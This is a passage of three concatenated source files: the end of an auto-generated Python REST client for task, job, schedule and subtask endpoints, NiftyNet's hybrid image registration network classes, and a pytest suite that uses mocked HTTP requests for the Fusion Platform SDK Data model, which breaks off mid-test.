HTTP request, please pass async_req=True >>> thread = api.start_task_with_http_info(start_task_request, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param StartTaskRequest start_task_request: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(TaskInfo, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['start_task_request'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method start_task" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'start_task_request' is set if self.api_client.client_side_validation and ('start_task_request' not in local_var_params or # noqa: E501 local_var_params['start_task_request'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `start_task_request` when calling `start_task`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'start_task_request' in local_var_params: body_params = local_var_params['start_task_request'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/start', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TaskInfo', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def update_job(self, id, job, **kwargs): # noqa: E501 """update_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_job(id, job, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param Job job: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Job If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.update_job_with_http_info(id, job, **kwargs) # noqa: E501 def update_job_with_http_info(self, id, job, **kwargs): # noqa: E501 """update_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_job_with_http_info(id, job, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param Job job: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Job, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'job'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method update_job" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `update_job`") # noqa: E501 # verify the required parameter 'job' is set if self.api_client.client_side_validation and ('job' not in local_var_params or # noqa: E501 local_var_params['job'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `job` when calling `update_job`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'job' in local_var_params: body_params = local_var_params['job'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/jobs/{id}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Job', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def update_schedule(self, id, schedule, **kwargs): # noqa: E501 """update_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_schedule(id, schedule, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this schedule. (required) :param Schedule schedule: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Schedule If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.update_schedule_with_http_info(id, schedule, **kwargs) # noqa: E501 def update_schedule_with_http_info(self, id, schedule, **kwargs): # noqa: E501 """update_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_schedule_with_http_info(id, schedule, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this schedule. (required) :param Schedule schedule: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Schedule, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'schedule'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method update_schedule" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `update_schedule`") # noqa: E501 # verify the required parameter 'schedule' is set if self.api_client.client_side_validation and ('schedule' not in local_var_params or # noqa: E501 local_var_params['schedule'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `schedule` when calling `update_schedule`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'schedule' in local_var_params: body_params = local_var_params['schedule'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/schedules/{id}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Schedule', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def update_subtask(self, id, subtask, **kwargs): # noqa: E501 """update_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_subtask(id, subtask, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this subtask. (required) :param Subtask subtask: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Subtask If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.update_subtask_with_http_info(id, subtask, **kwargs) # noqa: E501 def update_subtask_with_http_info(self, id, subtask, **kwargs): # noqa: E501 """update_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_subtask_with_http_info(id, subtask, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this subtask. (required) :param Subtask subtask: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Subtask, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'subtask'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method update_subtask" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `update_subtask`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'subtask' in local_var_params: body_params = local_var_params['subtask'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/subtasks/{id}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Subtask', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats)

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78a3cfad9f2668a494ad628f89d61d4fbe845201

7,784

py

Python

niftynet/network/interventional_hybrid_net.py

tdml13/NiftyNet

b35fa19ca307e81d229e2fe8269a417724833da2

[ "Apache-2.0" ]

1,403

2017-08-30T11:49:45.000Z

2022-03-31T11:44:05.000Z

niftynet/network/interventional_hybrid_net.py

tdml13/NiftyNet

b35fa19ca307e81d229e2fe8269a417724833da2

[ "Apache-2.0" ]

360

2017-10-03T15:33:53.000Z

2021-03-17T06:27:38.000Z

niftynet/network/interventional_hybrid_net.py

tdml13/NiftyNet

b35fa19ca307e81d229e2fe8269a417724833da2

[ "Apache-2.0" ]

464

2017-09-13T20:56:32.000Z

2022-02-11T20:33:47.000Z

# -*- coding: utf-8 -*- from __future__ import absolute_import, print_function from niftynet.layer.resampler import ResamplerLayer as resampler from niftynet.network.base_net import BaseNet from niftynet.network.interventional_affine_net import INetAffine from niftynet.network.interventional_dense_net import INetDense class INetHybridPreWarp(BaseNet): """ ### Description Re-implementation of the registration network proposed in: Hu et al., Label-driven weakly-supervised learning for multimodal deformable image registration, arXiv:1711.01666 https://arxiv.org/abs/1711.01666 Hu et al., Weakly-Supervised Convolutional Neural Networks for Multimodal Image Registration, Medical Image Analysis (2018) https://doi.org/10.1016/j.media.2018.07.002 see also: https://github.com/YipengHu/label-reg ### Building blocks [GLOBAL] - INetAffine from interventional_affine_net.py [RESAMPLER] - Layer to resample the moving image with estimated affine [DENSE] - INetDense from intervetional_dense_net.py ### Diagram INPUT PAIR --> [GLOBAL] --> [RESAMPLER] --> [DENSE] --> DENSE FIELD, AFFINE FIELD ### Constraints - input spatial rank should be either 2 or 3 (2D or 3D images only) - fixed image size should be divisible by 16 """ def __init__(self, decay, affine_w_initializer=None, affine_b_initializer=None, disp_w_initializer=None, disp_b_initializer=None, acti_func='relu', interp='linear', boundary='replicate', name='inet-hybrid-pre-warp'): """ :param decay: float, regularisation decay :param affine_w_initializer: weight initialisation for affine registration network :param affine_b_initializer: bias initialisation for affine registration network :param disp_w_initializer: weight initialisation for dense registration network :param disp_b_initializer: bias initialisation for dense registration network :param acti_func: activation function to use :param interp: string, type of interpolation for the resampling [default:linear] :param boundary: string, padding mode to deal with image boundary :param name: layer name """ BaseNet.__init__(self, name=name) self.global_net = INetAffine(decay=decay, affine_w_initializer=affine_w_initializer, affine_b_initializer=affine_b_initializer, acti_func=acti_func, name='inet-global') self.local_net = INetDense(decay=decay, disp_w_initializer=disp_w_initializer, disp_b_initializer=disp_b_initializer, acti_func=acti_func, name='inet-local') self.interp = interp self.boundary = boundary def layer_op(self, fixed_image, moving_image, is_training=True, **unused_kwargs): """ :param fixed_image: tensor, fixed image for registration (defines reference space) :param moving_image: tensor, moving image to be registered to fixed :param is_training: boolean, True if network is in training mode :param unused_kwargs: not in use :return: estimated final dense and affine displacement fields """ affine_field = self.global_net(fixed_image, moving_image, is_training) moving_image = resampler( interpolation=self.interp, boundary=self.boundary)(moving_image, affine_field) dense_field = self.local_net( fixed_image, moving_image, affine_field, is_training) return dense_field, affine_field class INetHybridTwoStream(BaseNet): """ ### Description Re-implementation of the registration network proposed in: Hu et al., Label-driven weakly-supervised learning for multimodal deformable image registration, arXiv:1711.01666 https://arxiv.org/abs/1711.01666 Hu et al., Weakly-Supervised Convolutional Neural Networks for Multimodal Image Registration, Medical Image Analysis (2018) https://doi.org/10.1016/j.media.2018.07.002 see also: https://github.com/YipengHu/label-reg ### Building blocks [GLOBAL] - INetAffine from interventional_affine_net.py [DENSE] - INetDense from intervetional_dense_net.py ### Diagram INPUT PAIR --> [GLOBAL] --> AFFINE FIELD --- DENSE + AFFINE FIELD | | -------> [DENSE] --> DENSE FIELD ------ ### Constraints - input spatial rank should be either 2 or 3 (2D or 3D images only) - fixed image size should be divisible by 16 """ def __init__(self, decay, affine_w_initializer=None, affine_b_initializer=None, disp_w_initializer=None, disp_b_initializer=None, acti_func='relu', interp='linear', boundary='replicate', name='inet-hybrid-two-stream'): """ :param decay: float, regularisation decay :param affine_w_initializer: weight initialisation for affine registration network :param affine_b_initializer: bias initialisation for affine registration network :param disp_w_initializer: weight initialisation for dense registration network :param disp_b_initializer: bias initialisation for dense registration network :param acti_func: activation function to use :param interp: string, type of interpolation for the resampling [default:linear] - not in use :param boundary: string, padding mode to deal with image boundary [default: replicate] - not is use :param name: layer name """ BaseNet.__init__(self, name=name) self.global_net = INetAffine(decay=decay, affine_w_initializer=affine_w_initializer, affine_b_initializer=affine_b_initializer, acti_func=acti_func, name='inet-global') self.local_net = INetDense(decay=decay, disp_w_initializer=disp_w_initializer, disp_b_initializer=disp_b_initializer, acti_func=acti_func, name='inet-local') self.interp = interp self.boundary = boundary def layer_op(self, fixed_image, moving_image, is_training=True, **unused_kwargs): """ :param fixed_image: tensor, fixed image for registration (defines reference space) :param moving_image: tensor, moving image to be registered to fixed :param is_training: boolean, True if network is in training mode :param unused_kwargs: not in use :return: estimated total, dense and affine displacement fields """ affine_field = self.global_net(fixed_image, moving_image, is_training) dense_field = self.local_net(fixed_image, moving_image, is_training) return dense_field + affine_field, dense_field, affine_field

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0

1

0

1

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null

0

7

15620c248cb9581d9e6731d058c9816ea4595506

21,609

py

Python

tests/models/test_data.py

d-cat-support/fusion-platform-python-sdk

6f98a60f33a962f6a10861da15affbc28bf4a17a

[ "MIT" ]

null

tests/models/test_data.py

d-cat-support/fusion-platform-python-sdk

6f98a60f33a962f6a10861da15affbc28bf4a17a

[ "MIT" ]

null

tests/models/test_data.py

d-cat-support/fusion-platform-python-sdk

6f98a60f33a962f6a10861da15affbc28bf4a17a

[ "MIT" ]

null

# # Data model class test file. # # @author Matthew Casey # # (c) Digital Content Analysis Technology Ltd 2022 # import json import pytest import requests import requests_mock from time import sleep import uuid from tests.custom_test_case import CustomTestCase import fusion_platform from fusion_platform.common.utilities import json_default from fusion_platform.models.model import Model, ModelError from fusion_platform.models.data import Data, DataSchema from fusion_platform.session import Session, RequestError class TestData(CustomTestCase): """ Data model tests. """ def test_init(self): """ Test initialisation of the data model class to ensure no exceptions are raised. """ data = Data(Session()) self.assertIsNotNone(data) def test_create_wait(self): """ Tests that a data item can be created with waiting for the upload and analysis to complete. """ with open(self.fixture_path('data.json'), 'r') as file: data_content = json.loads(file.read()) with open(self.fixture_path('data_file.json'), 'r') as file: file_content = json.loads(file.read()) url = 'https://upload.com/test' add_file_content = {Model._RESPONSE_KEY_EXTRAS: {Data._RESPONSE_KEY_FILE: str(uuid.uuid4()), Data._RESPONSE_KEY_URL: url}} session = Session() organisation_id = data_content.get('organisation_id') data_id = data_content.get(Model._FIELD_ID) name = 'Glasgow' file_type = fusion_platform.FILE_TYPE_GEOJSON, files = [fusion_platform.EXAMPLE_GLASGOW_FILE] create_path = Data._PATH_CREATE.format(organisation_id=organisation_id) add_file_path = Data._PATH_ADD_FILE.format(organisation_id=organisation_id, data_id=data_id) files_path = Data._PATH_FILES.format(organisation_id=organisation_id, data_id=data_id) data = Data(session) self.assertIsNotNone(data) data._set_model(data_content) with requests_mock.Mocker() as mock: with pytest.raises(RequestError): mock.post(f"{Session.API_URL_DEFAULT}{create_path}", exc=requests.exceptions.ConnectTimeout) data._Model__persisted = False data._create(name, file_type, files, wait=True) with pytest.raises(RequestError): mock.post(f"{Session.API_URL_DEFAULT}{create_path}", status_code=400) data._Model__persisted = False data._create(name, file_type, files, wait=True) with pytest.raises(ModelError): mock.post(f"{Session.API_URL_DEFAULT}{create_path}", text='{}') data._Model__persisted = False data._create(name, file_type, files, wait=True) mock.post(f"{Session.API_URL_DEFAULT}{create_path}", text=json.dumps({Model._RESPONSE_KEY_MODEL: data_content})) with pytest.raises(ModelError): data._create(name, file_type, ['does_not_exist'], wait=True) with pytest.raises(RequestError): mock.post(f"{Session.API_URL_DEFAULT}{add_file_path}", exc=requests.exceptions.ConnectTimeout) data._Model__persisted = False data._create(name, file_type, files, wait=True) with pytest.raises(RequestError): mock.post(f"{Session.API_URL_DEFAULT}{add_file_path}", status_code=400) data._Model__persisted = False data._create(name, file_type, files, wait=True) with pytest.raises(ModelError): mock.post(f"{Session.API_URL_DEFAULT}{add_file_path}", text='{}') data._Model__persisted = False data._create(name, file_type, files, wait=True) mock.post(f"{Session.API_URL_DEFAULT}{add_file_path}", text=json.dumps(add_file_content)) with pytest.raises(RequestError): mock.put(url, exc=requests.exceptions.ConnectTimeout) data._Model__persisted = False data._create(name, file_type, files, wait=True) with pytest.raises(RequestError): mock.put(url, status_code=400) data._Model__persisted = False data._create(name, file_type, files, wait=True) mock.put(url, status_code=200) with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{files_path}", exc=requests.exceptions.ConnectTimeout) data._Model__persisted = False data._create(name, file_type, files, wait=True) with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{files_path}", status_code=400) data._Model__persisted = False data._create(name, file_type, files, wait=True) mock.get(f"{Session.API_URL_DEFAULT}{files_path}", text=json.dumps({Model._RESPONSE_KEY_LIST: [file_content]})) data._Model__persisted = False data._create(name, file_type, files, wait=True) def test_create_no_wait(self): """ Tests that a data item can be created without waiting for the upload and analysis to complete """ with open(self.fixture_path('data.json'), 'r') as file: data_content = json.loads(file.read()) with open(self.fixture_path('data_file.json'), 'r') as file: file_content = json.loads(file.read()) url = 'https://upload.com/test' add_file_content = {Model._RESPONSE_KEY_EXTRAS: {Data._RESPONSE_KEY_FILE: str(uuid.uuid4()), Data._RESPONSE_KEY_URL: url}} session = Session() organisation_id = data_content.get('organisation_id') data_id = data_content.get(Model._FIELD_ID) name = 'Glasgow' file_type = fusion_platform.FILE_TYPE_GEOJSON, files = [fusion_platform.EXAMPLE_GLASGOW_FILE] create_path = Data._PATH_CREATE.format(organisation_id=organisation_id) add_file_path = Data._PATH_ADD_FILE.format(organisation_id=organisation_id, data_id=data_id) files_path = Data._PATH_FILES.format(organisation_id=organisation_id, data_id=data_id) data = Data(session) self.assertIsNotNone(data) data._set_model(data_content) with requests_mock.Mocker() as mock: with pytest.raises(RequestError): mock.post(f"{Session.API_URL_DEFAULT}{create_path}", exc=requests.exceptions.ConnectTimeout) data._Model__persisted = False data._create(name, file_type, files) with pytest.raises(RequestError): mock.post(f"{Session.API_URL_DEFAULT}{create_path}", status_code=400) data._Model__persisted = False data._create(name, file_type, files) with pytest.raises(ModelError): mock.post(f"{Session.API_URL_DEFAULT}{create_path}", text='{}') data._Model__persisted = False data._create(name, file_type, files) mock.post(f"{Session.API_URL_DEFAULT}{create_path}", text=json.dumps({Model._RESPONSE_KEY_MODEL: data_content})) with pytest.raises(RequestError): mock.post(f"{Session.API_URL_DEFAULT}{add_file_path}", exc=requests.exceptions.ConnectTimeout) data._Model__persisted = False data._create(name, file_type, files) with pytest.raises(RequestError): mock.post(f"{Session.API_URL_DEFAULT}{add_file_path}", status_code=400) data._Model__persisted = False data._create(name, file_type, files) with pytest.raises(ModelError): mock.post(f"{Session.API_URL_DEFAULT}{add_file_path}", text='{}') data._Model__persisted = False data._create(name, file_type, files) mock.post(f"{Session.API_URL_DEFAULT}{add_file_path}", text=json.dumps(add_file_content)) with pytest.raises(RequestError): mock.put(url, exc=requests.exceptions.ConnectTimeout) data._Model__persisted = False data._create(name, file_type, files) while not data.create_complete(): sleep(0.1) with pytest.raises(RequestError): mock.put(url, status_code=400) data._Model__persisted = False data._create(name, file_type, files) while not data.create_complete(): sleep(0.1) mock.put(url, status_code=200) with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{files_path}", exc=requests.exceptions.ConnectTimeout) data._Model__persisted = False data._create(name, file_type, files) while not data.create_complete(): sleep(0.1) with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{files_path}", status_code=400) data._Model__persisted = False data._create(name, file_type, files) while not data.create_complete(): sleep(0.1) mock.get(f"{Session.API_URL_DEFAULT}{files_path}", text=json.dumps({Model._RESPONSE_KEY_LIST: [file_content]})) data._Model__persisted = False data._create(name, file_type, files) while not data.create_complete(): sleep(0.1) def test_delete(self): """ Tests that an object can be deleted from the API. """ with open(self.fixture_path('data.json'), 'r') as file: content = json.loads(file.read()) session = Session() organisation_id = content.get('organisation_id') data_id = content.get(Model._FIELD_ID) path = Data._PATH_DELETE.format(organisation_id=organisation_id, data_id=data_id) data = Data(session) self.assertIsNotNone(data) with requests_mock.Mocker() as mock: mock.get(f"{Session.API_URL_DEFAULT}{Data._PATH_GET.format(organisation_id=organisation_id, data_id=data_id)}", text=json.dumps({Model._RESPONSE_KEY_MODEL: content})) data.get(organisation_id=organisation_id, data_id=data_id) self.assertIsNotNone(data) self.assertEqual(str(data_id), str(data.id)) with pytest.raises(RequestError): mock.delete(f"{Session.API_URL_DEFAULT}{path}", exc=requests.exceptions.ConnectTimeout) data.delete() with pytest.raises(RequestError): mock.delete(f"{Session.API_URL_DEFAULT}{path}", status_code=400) data.delete() mock.delete(f"{Session.API_URL_DEFAULT}{path}", text=json.dumps({Model._RESPONSE_KEY_MODEL: content})) data.delete() def test_files(self): """ Tests the files property retrieves file items. """ with open(self.fixture_path('data.json'), 'r') as file: data_content = json.loads(file.read()) with open(self.fixture_path('data_file.json'), 'r') as file: file_content = json.loads(file.read()) session = Session() organisation_id = data_content.get('organisation_id') data_id = data_content.get(Model._FIELD_ID) path = Data._PATH_FILES.format(organisation_id=organisation_id, data_id=data_id) data = Data(session) self.assertIsNotNone(data) with requests_mock.Mocker() as mock: mock.get(f"{Session.API_URL_DEFAULT}{Data._PATH_GET.format(organisation_id=organisation_id, data_id=data_id)}", text=json.dumps({Model._RESPONSE_KEY_MODEL: data_content})) data.get(organisation_id=organisation_id, data_id=data_id) self.assertIsNotNone(data) self.assertEqual(str(data_id), str(data.id)) with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{path}", exc=requests.exceptions.ConnectTimeout) next(data.files) with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{path}", status_code=400) next(data.files) with pytest.raises(StopIteration): mock.get(f"{Session.API_URL_DEFAULT}{path}", text='{}') next(data.files) mock.get(f"{Session.API_URL_DEFAULT}{path}", text=json.dumps({Model._RESPONSE_KEY_LIST: [file_content]})) for file in data.files: self.assertEqual(str(data_id), str(file.data_id)) self.assertEqual(str(organisation_id), str(file.organisation_id)) def test_get(self): """ Tests that an object can be retrieved from the API. """ with open(self.fixture_path('data.json'), 'r') as file: content = json.loads(file.read()) session = Session() organisation_id = content.get('organisation_id') data_id = content.get(Model._FIELD_ID) path = Data._PATH_GET.format(organisation_id=organisation_id, data_id=data_id) data = Data(session) self.assertIsNotNone(data) with requests_mock.Mocker() as mock: with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{path}", exc=requests.exceptions.ConnectTimeout) data.get(organisation_id=organisation_id, data_id=data_id) with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{path}", status_code=400) data.get(organisation_id=organisation_id, data_id=data_id) with pytest.raises(ModelError): mock.get(f"{Session.API_URL_DEFAULT}{path}", text='{}') data.get(organisation_id=organisation_id, data_id=data_id) mock.get(f"{Session.API_URL_DEFAULT}{path}", text=json.dumps({Model._RESPONSE_KEY_MODEL: content})) data.get(organisation_id=organisation_id, data_id=data_id) self.assertIsNotNone(data) self.assertEqual(str(data_id), str(data.id)) data.get() self.assertIsNotNone(data) self.assertEqual(str(data_id), str(data.id)) def test_model_from_api_id(self): """ Tests that an object can be created from an API endpoint. """ with open(self.fixture_path('data.json'), 'r') as file: content = json.loads(file.read()) session = Session() organisation_id = content.get('organisation_id') data_id = content.get(Model._FIELD_ID) path = Data._PATH_GET.format(organisation_id=organisation_id, data_id=data_id) with requests_mock.Mocker() as mock: with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{path}", exc=requests.exceptions.ConnectTimeout) Data._model_from_api_id(session, id=data_id, organisation_id=organisation_id) with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{path}", status_code=400) Data._model_from_api_id(session, id=data_id, organisation_id=organisation_id) with pytest.raises(ModelError): mock.get(f"{Session.API_URL_DEFAULT}{path}", text='{}') Data._model_from_api_id(session, id=data_id, organisation_id=organisation_id) mock.get(f"{Session.API_URL_DEFAULT}{path}", text=json.dumps({Model._RESPONSE_KEY_MODEL: content})) data = Data._model_from_api_id(session, id=data_id, organisation_id=organisation_id) self.assertIsNotNone(data) self.assertEqual(str(data_id), str(data.id)) def test_models_from_api_ids(self): """ Tests that objects can be created from an API endpoint. """ with open(self.fixture_path('data.json'), 'r') as file: content = json.loads(file.read()) session = Session() organisation_id = content.get('organisation_id') data_id = content.get(Model._FIELD_ID) path = Data._PATH_GET.format(organisation_id=organisation_id, data_id=data_id) with requests_mock.Mocker() as mock: mock.get(f"{Session.API_URL_DEFAULT}{path}", text=json.dumps({Model._RESPONSE_KEY_MODEL: content})) data_items = Data._models_from_api_ids(session, [{Model._FIELD_ID: data_id, 'organisation_id': organisation_id}]) self.assertIsNotNone(data_items) for data in data_items: self.assertEqual(str(data_id), str(data.id)) def test_models_from_api_path(self): """ Tests that objects can be created from an API endpoint returning a list. """ with open(self.fixture_path('data.json'), 'r') as file: content = json.loads(file.read()) session = Session() data_id = content.get(Model._FIELD_ID) path = '/path' with requests_mock.Mocker() as mock: mock.get(f"{Session.API_URL_DEFAULT}{path}", text=json.dumps({Model._RESPONSE_KEY_LIST: [content]})) data_items = Data._models_from_api_path(session, path) self.assertIsNotNone(data_items) for data in data_items: self.assertEqual(str(data_id), str(data.id)) def test_new(self): """ Tests that a template new object can be created from an API endpoint with validation using a Marshmallow schema. """ with open(self.fixture_path('data.json'), 'r') as file: content = json.loads(file.read()) wrong_content = {} for key in content: wrong_content[f"new_{key}"] = content[key] session = Session() organisation_id = content.get('organisation_id') path = Data._PATH_NEW.format(organisation_id=organisation_id) data = Data(session) self.assertIsNotNone(data) with requests_mock.Mocker() as mock: with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{path}", exc=requests.exceptions.ConnectTimeout) data._new(organisation_id=organisation_id) with pytest.raises(RequestError): mock.get(f"{Session.API_URL_DEFAULT}{path}", status_code=400) data._new(organisation_id=organisation_id) with pytest.raises(ModelError): mock.get(f"{Session.API_URL_DEFAULT}{path}", text='{}') data._new(organisation_id=organisation_id) mock.get(f"{Session.API_URL_DEFAULT}{path}", 